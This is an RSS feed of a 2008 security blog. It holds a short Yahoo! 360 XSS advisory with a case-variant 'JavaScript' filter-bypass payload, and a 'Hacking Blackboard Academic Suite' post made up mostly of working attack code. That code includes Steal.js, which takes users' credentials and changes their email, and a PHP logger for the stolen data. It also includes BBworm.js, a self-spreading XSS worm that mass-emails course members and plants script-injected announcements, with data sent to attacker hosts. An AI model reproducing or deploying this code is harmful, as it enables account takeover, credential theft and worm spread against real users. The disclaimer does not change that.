<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>a small place to share your BIG knowledge</title>
	<atom:link href="http://secskill.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://secskill.wordpress.com</link>
	<description>infosec, programming, hacking, networking, career</description>
	<lastBuildDate>Mon, 21 Sep 2009 19:25:39 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='secskill.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/c378e31d05f69e540d4bc53238e93b30?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>a small place to share your BIG knowledge</title>
		<link>http://secskill.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://secskill.wordpress.com/osd.xml" title="a small place to share your BIG knowledge" />
		<item>
		<title>This blog is closed.</title>
		<link>http://secskill.wordpress.com/2009/09/21/this-blog-is-closed/</link>
		<comments>http://secskill.wordpress.com/2009/09/21/this-blog-is-closed/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 19:25:39 +0000</pubDate>
		<dc:creator>knight4vn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://secskill.wordpress.com/?p=11</guid>
		<description><![CDATA[Hi everybody,
I have closed this blog and moved to the new one:
http://5mins.wordpress.com
See you in my new blog.  
       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=secskill.wordpress.com&blog=2664844&post=11&subd=secskill&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Hi everybody,</p>
<p>I have closed this blog and moved to the new one:</p>
<p><a href="http://5mins.wordpress.com">http://5mins.wordpress.com</a></p>
<p>See you in my new blog. <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/secskill.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/secskill.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/secskill.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/secskill.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/secskill.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/secskill.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/secskill.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/secskill.wordpress.com/11/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/secskill.wordpress.com/11/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/secskill.wordpress.com/11/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=secskill.wordpress.com&blog=2664844&post=11&subd=secskill&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://secskill.wordpress.com/2009/09/21/this-blog-is-closed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d78f4f26665918bdd2ac123bdb3177a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">knight4vn</media:title>
		</media:content>
	</item>
		<item>
		<title>Yahoo! 360 XSS Vulnerability</title>
		<link>http://secskill.wordpress.com/2008/06/14/yahoo-360-xss-vulnerability/</link>
		<comments>http://secskill.wordpress.com/2008/06/14/yahoo-360-xss-vulnerability/#comments</comments>
		<pubDate>Sat, 14 Jun 2008 17:57:19 +0000</pubDate>
		<dc:creator>knight4vn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[360]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://secskill.wordpress.com/?p=9</guid>
		<description><![CDATA[This is the report I sent to securityfocus. I&#8217;m gonna post about writing an XSS worm using this security hole in the next few days. It&#8217;s too lengthy to be covered in one single post. So this tutorial probably contains 2-3 parts. Right now, I&#8217;m quite busy with my summer classes but I hope I [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=secskill.wordpress.com&blog=2664844&post=9&subd=secskill&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>This is the report I sent to securityfocus. I&#8217;m gonna post about writing an XSS worm using this security hole in the next few days. It&#8217;s too lengthy to be covered in one single post. So this tutorial probably contains 2-3 parts. Right now, I&#8217;m quite busy with my summer classes but I hope I have it finished in time.</p>
<blockquote>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><span style="font-weight:bold;text-decoration:underline;">Application</span> : Yahoo!360 Social networking site.</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><span style="font-weight:bold;text-decoration:underline;">Release Date</span><span style="font-weight:bold;"> :</span> June 13th 2008</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><br />
</em></p>
<p style="font-weight:bold;font-style:italic;font-family:Calibri;font-size:11pt;margin:0;"><em><span style="text-decoration:underline;">Introduction</span>:</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><span style="font-weight:bold;">Yahoo! 360° </span>, introduced<span> </span>in 2005, is a personal communication portal operated by Yahoo!.</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em>360° includes social networking, blogging, and photo sharing services.</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em>Users can create personal web sites, share photos from Yahoo! Photos, maintain blogs, lists of local reviews, supply profile information, and see which friends are currently online.</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><br />
</em></p>
<p style="font-weight:bold;font-family:Calibri;font-size:11pt;margin:0;"><em><span style="font-style:italic;text-decoration:underline;">Vulnerability</span>:</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><span style="font-weight:bold;">Yahoo! 360 </span>is vulnerable to Cross site scripting.</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><br />
</em></p>
<p style="font-weight:bold;font-style:italic;font-family:Calibri;font-size:11pt;margin:0;"><em><span style="text-decoration:underline;">Discussion</span>:</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em>Yahoo! 360 has its built-in html filter which allows only html tags in their white-list to be displayed to the users.<span> </span>In addition, the string &#8220;javascript&#8221; is stripped out immediately<span> </span>if appears anywhere between<span> </span>&#8216;&lt;&#8217; and &#8216;&gt;&#8217;.<span> </span>This mechanism helps preventing dangerous script injected by the malicious users.</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em>However, the filter does not<span> </span>remove variants of the original &#8220;javascript&#8221; string such as: &#8220;JavaScript&#8221;, &#8220;JAVASCRIPT&#8221;<span> </span>and etc..<span> </span>Unfortunately, in some versions of IE (IE 6.0.x), these variants are treated equally as the normal &#8220;javascript&#8221;.<span> </span>Therefore, hackers can take advantage of this bug to execute evil javascript code to create blog, send messages and<span> </span>spread XSS worm with user identity. The possibility is endless.</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><br />
</em></p>
<p style="font-weight:bold;font-family:Calibri;font-size:11pt;margin:0;"><em><span style="font-style:italic;text-decoration:underline;">Exploit</span>:</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em>Compose a new entry by going to:</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><span> </span><a href="http://blog.360.yahoo.com/blog/compose.html">http://blog.360.yahoo.com/blog/compose.html</a></em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><br />
</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em>Sample of an entry injected with hidden javascript code:</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em>[HTML CODE]</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em>&lt;table background=JavaScript:alert(123)&gt;&lt;tbody&gt;Blogcontent&lt;/tbody&gt;&lt;table&gt;</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em>[HTMLCODE]</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><br />
</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0;"><em><span style="font-weight:bold;text-decoration:underline;">Author</span><span style="font-weight:bold;">:<span> </span></span>Duong Thanh<span style="font-weight:bold;"> &#8211; </span>Knight4vn (knightvn {at} gmail {dot} com)</em></p>
<p style="font-family:Calibri;font-size:11pt;margin:0 0 0 0.375in;"><span> </span><a href="../"></a></p>
</blockquote>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/secskill.wordpress.com/9/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/secskill.wordpress.com/9/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/secskill.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/secskill.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/secskill.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/secskill.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/secskill.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/secskill.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/secskill.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/secskill.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/secskill.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/secskill.wordpress.com/9/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=secskill.wordpress.com&blog=2664844&post=9&subd=secskill&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://secskill.wordpress.com/2008/06/14/yahoo-360-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d78f4f26665918bdd2ac123bdb3177a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">knight4vn</media:title>
		</media:content>
	</item>
		<item>
		<title>Hacking Blackboard Academic Suite.</title>
		<link>http://secskill.wordpress.com/2008/03/27/hacking-blackboard-academic-suite-2/</link>
		<comments>http://secskill.wordpress.com/2008/03/27/hacking-blackboard-academic-suite-2/#comments</comments>
		<pubDate>Thu, 27 Mar 2008 16:39:35 +0000</pubDate>
		<dc:creator>knight4vn</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[blackboard]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[proof of concept]]></category>

		<guid isPermaLink="false">http://secskill.wordpress.com/?p=8</guid>
		<description><![CDATA[Download:
http://www.scribd.com/word/download/2363025?extension=pdf

View online:

Proof &#8211; of &#8211; Concept:

Steal.js



/**
* @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
* FILE: BBworm.js
* A web-based worm using Blackboard Academic Suites' Vulnerability
*
* DISCLAIMER: This exploit tool is provided only to test systems for a
* known vulnerability.  Do not use this tool on systems you do not control,
* and do not use this [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=secskill.wordpress.com&blog=2664844&post=8&subd=secskill&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><i>Download:</i></p>
<p><a href="http://www.scribd.com/word/download/2363025?extension=pdf">http://www.scribd.com/word/download/2363025?extension=pdf<br />
</a><i><br />
View online:</i><br />
<object type='application/x-shockwave-flash' wmode='transparent' data='http://static.slideshare.net/swf/ssplayer2.swf?id=324107&#038;doc=hacking-blackboard-academic-suite-1206635859312906-3' width='425' height='348'><param name='movie' value='http://static.slideshare.net/swf/ssplayer2.swf?id=324107&#038;doc=hacking-blackboard-academic-suite-1206635859312906-3' /><param name='allowFullScreen' value='true' /><param name='allowScriptAccess' value='always' /></object></p>
<p><b>Proof &#8211; of &#8211; Concept:</b></p>
<ul>
<li><i>Steal.js</i></li>
</ul>
<pre class="brush: jscript;">

/**
* @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
* FILE: BBworm.js
* A web-based worm using Blackboard Academic Suites' Vulnerability
*
* DISCLAIMER: This exploit tool is provided only to test systems for a
* known vulnerability.  Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner.  You are responsible for any damage your
* use of the tool causes.  In no event may the author of this tool be held
* responsible for damages relating to its use.
*/

// CONFIGURATION SECTION
var _changedEmail = &quot;hacker@gmail.com&quot;;
var _logInfoURL = &quot;http://hacker/log.php&quot;; //simple php script to log victim's information

// STORED SECTION
// We are using Global Variables to reduce loading time of victim's browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user's current encrypted password
var _userEmail; //user's current email address
var _userFirstName;
var _userLastName;
var _interval_3;
var _interval_4;

function getAjaxObj()
{
var ajaxRequest;
try {
ajaxRequest = new XMLHttpRequest();
}
catch (e)
{
try	{ ajaxRequest = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;); 	}
catch (e)
{
try	{ ajaxRequest = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;); 	}
catch (e)
{
alert(&quot;Your browser broke!&quot;);
return false;
}
}
}
return ajaxRequest;
}

function ajaxPost(url, requestString)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open(&quot;POST&quot;, url, true);
ajaxRequest.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);
ajaxRequest.send(requestString);
}

function ajaxGet(url)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open(&quot;GET&quot;, url, true);
ajaxRequest.send(null);
}

function ajaxGetwithResult(url, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open(&quot;GET&quot;, url, true);
ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(null);
}

function ajaxPostwithResult(url, requestString, handler)
{
var ajaxRequest = getAjaxObj();
ajaxRequest.open(&quot;POST&quot;, url, true);
ajaxRequest.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);
ajaxRequest.setRequestHeader(&quot;Content-Length&quot;, requestString.length);
ajaxRequest.setRequestHeader(&quot;Connection&quot;, &quot;close&quot;);

ajaxRequest.onreadystatechange = function()
{
if (ajaxRequest.readyState==4)
{
handler(ajaxRequest.responseText);
}
}
ajaxRequest.send(requestString);
}

//I had used RegExp at first, but later I found out that this technique  is simply the best
function extractUserInfos(str)
{
var tempDiv = document.createElement(&quot;div&quot;);
tempDiv.innerHTML = str;
var arr = tempDiv.getElementsByTagName(&quot;input&quot;);

_userFirstName = arr[&quot;firstName&quot;].value;
_userLastName = arr[&quot;lastName&quot;].value;
_userEmail = arr[&quot;email&quot;].value;
_userName = arr[&quot;userName&quot;].value;
_userPassword = arr[&quot;password&quot;].value;
_userID = arr[&quot;user_id&quot;].value;
}

function getUserInfos()
{
ajaxGetwithResult(&quot;/webapps/blackboard/execute/editUser?context=self_modify&quot;, extractUserInfos);
}

function changeEmail()
{
var url = &quot;/webapps/blackboard/execute/editUser&quot;;
var requestStr = &quot;firstName=&quot;+_userFirstName+&quot;&amp;lastName=&quot;+_userLastName+&quot;&amp;email=&quot;+_changedEmail+&quot;&amp;userName=&quot;+_userName+&quot;&amp;user_id=&quot;+_userID+&quot;&amp;dispatch=save&amp;context=self_modify&amp;handle=my_inst_personal_edit&amp;modify=true&amp;self=true&quot;;
ajaxPost(url, requestStr);
}

function logInfo()
{
logInfoImg = new Image(0,0);
logInfoImg.src = _logInfoURL + &quot;?user=&quot; + _userName +&quot;&amp;p=&quot;+_userPassword+&quot;&amp;fname=&quot;+_userFirstName+&quot;&amp;lname=&quot;+_userLastName+&quot;&amp;email=&quot;+_userEmail;
document.body.appendChild(logInfoImg);
window.clearInterval(_interval_3);
}

//check if getUserID() completely finished or not?
function ready2ChangeEmail()
{
if (_userID != null)
{
changeEmail();
window.clearInterval(_interval_4);
}
}

function init()
{
getUserInfos();
_interval_4 = window.setInterval(&quot;ready2ChangeEmail()&quot;, 500);
_interval_3 = window.setInterval(&quot;logInfo()&quot;,700);

}

init();</pre>
<ul>
<li><i>logInfo.php </i></li>
</ul>
<pre class="brush: php;">
&lt;?php
	//File Name: logInfo.php
	//@Author : Knight4vn
	//A simple PHP script to log user's account information

$user = $_REQUEST['user'];
$p = $_REQUEST['p'];
$fname = $_REQUEST['fname'];
$lname = $_REQUEST['lname'];
$email = $_REQUEST['email'];

if($user)
{
   $fin = fopen(&quot;user.txt&quot;, &quot;a&quot;);
   $currentTime = date(&quot;d/m/y : H:i:s&quot;, time());
   $str = &quot;Time: &quot;.$currentTime.&quot;  User: &quot;.$user.&quot;  Pwd: &quot;.$p.&quot;  Fname:&quot;.$fname.&quot; Lname:&quot;.$lname.&quot; Email:&quot;.$email.&quot;\n&quot;;
   fwrite($fin, $str);
}
?&gt;</pre>
<ul>
<li><i>BBworm.js </i></li>
</ul>
<pre class="brush: jscript;">
/**
 * @Author: Duong Thanh - Knight4vn (knightvn (at) gmail.com)
 * FILE: BBworm.js
 * A web-based worm using Blackboard Academic Suites' Vulnerability
 *
 * DISCLAIMER: This exploit tool is provided only to test systems for a
 * known vulnerability.  Do not use this tool on systems you do not control,
 * and do not use this tool on networks you do not own without appropriate
 * consent from the network owner.  You are responsible for any damage your
 * use of the tool causes.  In no event may the author of this tool be held
 * responsible for damages relating to its use.
 */

// CONFIGURATION SECTION
var _logInfoURL = &quot;http://hacker.com/logInfo.php&quot;;
var _emailSubject = &quot;Hi I'm your classmate.&quot;; //subject of the email will be sent to victim's classmates
var _emailBody  = &quot;I did not understand this lecture slide. Could you please help me out?&quot;; //body of the email
	_emailBody += &quot;http://site.edu/webapps/blackboard/execute/viewCatalog?type=Course&amp;searchText=%22%3E%3Cscript%20src=%22http://baotreonline.com/kduxradio/hck/steal.js%22%3E%3C/script%3E&quot;; //non-persistent XSS exploit URL

var _announcementTitle  = 'Hi this is an normal announcement!  &quot;&gt;' ; // fake announcement title
	_announcementTitle += '%3C%73%63%72%69%70%74%20%73%72%63%20%3D%20%27%68%74%74%70%3A%2F%2F%65%76%69%6C%2F%77%6F%72%6D%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E'; //inject malicious script to this announcement using persistent XSS hole
var _announcementBody   = &quot;Just wanna say hi!&quot;;

// STORED SECTION
// We are using Global Variables to reduce loading time of victim's browser
var _userID; // userID
var _courseIDs; // array of courses victim taking or teaching
var _userName; //userName of that user
var _userPassword; //user's current encrypted password
var _userEmail; //user's current email address
var _userFirstName;
var _userLastName;

function getAjaxObj()
{
	var ajaxRequest;
	try	{	ajaxRequest = new XMLHttpRequest(); 	}
	catch (e)
	{
		try
		{	ajaxRequest = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);	}
		catch (e)
		{
		try	{	ajaxRequest = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);	}
			catch (e) {	return false;		}
		}
	}
	return ajaxRequest;

}

function ajaxPost(url, requestString)
{
	var ajaxRequest = getAjaxObj();
	ajaxRequest.open(&quot;POST&quot;, url, true);
	ajaxRequest.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);
    ajaxRequest.send(requestString);
}

function ajaxGet(url)
{
	var ajaxRequest = getAjaxObj();
	ajaxRequest.open(&quot;GET&quot;, url, true);
	ajaxRequest.send(null);
}

function ajaxGetwithResult(url, handler)
{
    var ajaxRequest = getAjaxObj();
	ajaxRequest.open(&quot;GET&quot;, url, true);
	ajaxRequest.onreadystatechange = function()
	{
  		if (ajaxRequest.readyState==4)
		{
			handler(ajaxRequest.responseText);
 		}
    }
	ajaxRequest.send(null);
}

function ajaxPostwithResult(url, requestString, handler)
{
	var ajaxRequest = getAjaxObj();
	ajaxRequest.open(&quot;POST&quot;, url, true); 

	ajaxRequest.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);
	ajaxRequest.setRequestHeader(&quot;Content-Length&quot;, requestString.length);
	ajaxRequest.setRequestHeader(&quot;Connection&quot;, &quot;close&quot;);

	ajaxRequest.onreadystatechange = function()
	{
  		if (ajaxRequest.readyState==4)
		{
   			handler(ajaxRequest.responseText);
 		}
    }
    ajaxRequest.send(requestString);
}

function extractUserInfo(str)
{
	//a temporary div trick works better than using RegEx to extract info
	var tempDiv = document.createElement(&quot;div&quot;);
	tempDiv.innerHTML = str;
	var arr = tempDiv.getElementsByTagName(&quot;input&quot;);

	_userFirstName = arr[&quot;firstName&quot;].value;
	_userLastName = arr[&quot;lastName&quot;].value;
	_userEmail = arr[&quot;email&quot;].value;
	_userName = arr[&quot;userName&quot;].value;
	_userPassword = arr[&quot;password&quot;].value;
	_userID = arr[&quot;user_id&quot;].value;

}

function getUserInfo()
{
	ajaxGetwithResult(&quot;/webapps/blackboard/execute/editUser?context=self_modify&quot;, extractUserInfo);
}

function extractCourseIDs(responseText)
{
	var searchStr = /_[0-9]{3,8}_1/g;
    var arr = responseText.match(searchStr);
	_courseIDs = arr;

}

function getCourseIDs()
{
	ajaxGetwithResult(&quot;/webapps/gradebook/do/student/viewCourses&quot;, extractCourseIDs);
}

function logInfo()
{
   logInfoImg = new Image(0,0);
   logInfoImg.src = _logInfoURL + &quot;?user=&quot; + _userName +&quot;&amp;p=&quot;+_userPassword+&quot;&amp;fname=&quot;+_userFirstName+&quot;&amp;lname=&quot;+_userLastName+&quot;&amp;email=&quot;+_userEmail;
   document.body.appendChild(logInfoImg);
}

function sendEmail2People()
{
  for (var i = 0; i &lt; _courseIDs.length; i++)
	{
		var requestBody =   '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name=&quot;navItem&quot;\r\n';
			requestBody +=  '\r\n';
			requestBody +=  'email_all_students\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name=&quot;course_id&quot;\r\n';
			requestBody +=  '\r\n';
			requestBody +=  _courseIDs[i];
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name=&quot;subject&quot;\r\n';
			requestBody +=  '\r\n';
			requestBody +=  _emailSubject;
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name=&quot;messagetext&quot;\r\n';
			requestBody +=  '\r\n';
		    requestBody +=  _emailBody;
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632\r\n';
			requestBody +=  'Content-Disposition: form-data; name=&quot;email_file_&quot;; filename=&quot;&quot;\r\n';
			requestBody +=  'Content-Type: application/octet-stream\r\n';
			requestBody +=  '\r\n';
			requestBody +=  '\r\n';
			requestBody +=  '-----------------------------263533012628632--\r\n';

			var url = &quot;/webapps/blackboard/execute/sendEmail?navItem=email_all_students&amp;course_id=&quot; + _courseIDs[i];
			var ajaxRequest = getAjaxObj();
			ajaxRequest.open(&quot;POST&quot;, url, true);
			ajaxRequest.setRequestHeader(&quot;Content-Type&quot;, &quot;multipart/form-data; boundary=---------------------------263533012628632&quot;);
	    	ajaxRequest.send(requestBody);
	  }

}

function postAnnouncements()
{
   for(var i = 0; i &lt; _courseIDs.length; i++)
	{
		var url = &quot;/bin/common/announcement.pl&quot;;
		/*
		Blackboard requires instructor has to actually access the Add Announcement page first
		( A record will be added to the DB each time the instructor visit Add Announcement page then  it is removed after the Announcement successfully added)
		the direct ajaxPost is gonna face a system error if we dont request Add Announcement page first with victim's session
		Therefore, the following get request solves that problem
		*/

		var getStr = &quot;?action=ADD&amp;course_id=COURSEID&amp;render_type=EDITABLE&amp;context=course&quot;;
		getStr = getStr.replace(&quot;COURSEID&quot;, _courseIDs[i]);
		ajaxGet(url + getStr);

		var postStr = &quot;action=PUT&amp;context=course&amp;announcement_id=_pk1_pk2&amp;course_id=COURSEID&amp;data__announcement___pk1_pk2__announcement_type=C&amp;render_type=FORM&amp;data__announcements___pk1_pk2__subject=TITLE&amp;data__announcements___pk1_pk2__announcement_f=&amp;data__announcements___pk1_pk2__announcement_w=&amp;data__announcements___pk1_pk2__text_format_type=H&amp;text_style=html&amp;text_format_type=H&amp;data__announcements___pk1_pk2__announcement=BODY&amp;data__announcements___pk1_pk2__permanent_ind=N&amp;data__announcements___pk1_pk2__start_date_mm=01&amp;data__announcements___pk1_pk2__start_date_dd=27&amp;data__announcements___pk1_pk2__start_date_yyyy=2008&amp;data__announcements___pk1_pk2__start_date=&amp;pickdate=&amp;pickname=&amp;data__announcements___pk1_pk2__start_date_hh=03&amp;data__announcements___pk1_pk2__start_date_mi=00&amp;data__announcements___pk1_pk2__start_date_am=1&amp;data__announcements___pk1_pk2__end_date_mm=01&amp;data__announcements___pk1_pk2__end_date_dd=28&amp;data__announcements___pk1_pk2__end_date_yyyy=2008&amp;data__announcements___pk1_pk2__end_date=&amp;data__announcements___pk1_pk2__end_date_hh=03&amp;data__announcements___pk1_pk2__end_date_mi=00&amp;data__announcements___pk1_pk2__end_date_am=1&amp;props__announcements___pk1_pk2__link_source_pk1=&amp;props__announcements___pk1_pk2__link_source_table=&amp;=&amp;location=&amp;props__announcements___pk1_pk2__send_email=N&quot;;
		postStr = postStr.replace(&quot;TITLE&quot;, _announcementTitle);
		postStr = postStr.replace(&quot;BODY&quot;, _announcementBody);
		postStr = postStr.replace(&quot;COURSEID&quot;, _courseIDs[i]);

		//a trick to get around setTimeout limitation
		var func = &quot;ajaxPost('&quot;+url+&quot;','&quot;+postStr+&quot;')&quot;;
		window.setTimeout(func, 6000);
	}
}

function init()
{
    getUserInfo();
	getCourseIDs();
    window.setTimeout(&quot;sendEmail2People()&quot;, 2500);
	window.setTimeout(&quot;postAnnouncements()&quot;, 2500);
    window.setTimeout(&quot;logInfo()&quot;, 2500);

}

init();
</pre>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/secskill.wordpress.com/8/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/secskill.wordpress.com/8/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/secskill.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/secskill.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/secskill.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/secskill.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/secskill.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/secskill.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/secskill.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/secskill.wordpress.com/8/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/secskill.wordpress.com/8/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/secskill.wordpress.com/8/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=secskill.wordpress.com&blog=2664844&post=8&subd=secskill&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://secskill.wordpress.com/2008/03/27/hacking-blackboard-academic-suite-2/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d78f4f26665918bdd2ac123bdb3177a1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">knight4vn</media:title>
		</media:content>
	</item>
		<item>
		<title>Know your enemy!</title>
		<link>http://secskill.wordpress.com/2008/01/30/hello-world/</link>
		<comments>http://secskill.wordpress.com/2008/01/30/hello-world/#comments</comments>
		<pubDate>Wed, 30 Jan 2008 00:04:16 +0000</pubDate>
		<dc:creator>knight4vn</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[

       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=secskill.wordpress.com&blog=2664844&post=1&subd=secskill&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><a href="http://secskill.files.wordpress.com/2008/03/spycat.jpg" title="spycat.jpg"></a></p>
<div style="text-align:center;" align="left"><a href="http://secskill.files.wordpress.com/2008/03/funny-cute-cats-1.jpg" title="funny-cute-cats-1.jpg"><img src="http://secskill.files.wordpress.com/2008/03/funny-cute-cats-1.jpg" alt="funny-cute-cats-1.jpg" align="left" /></a></div>
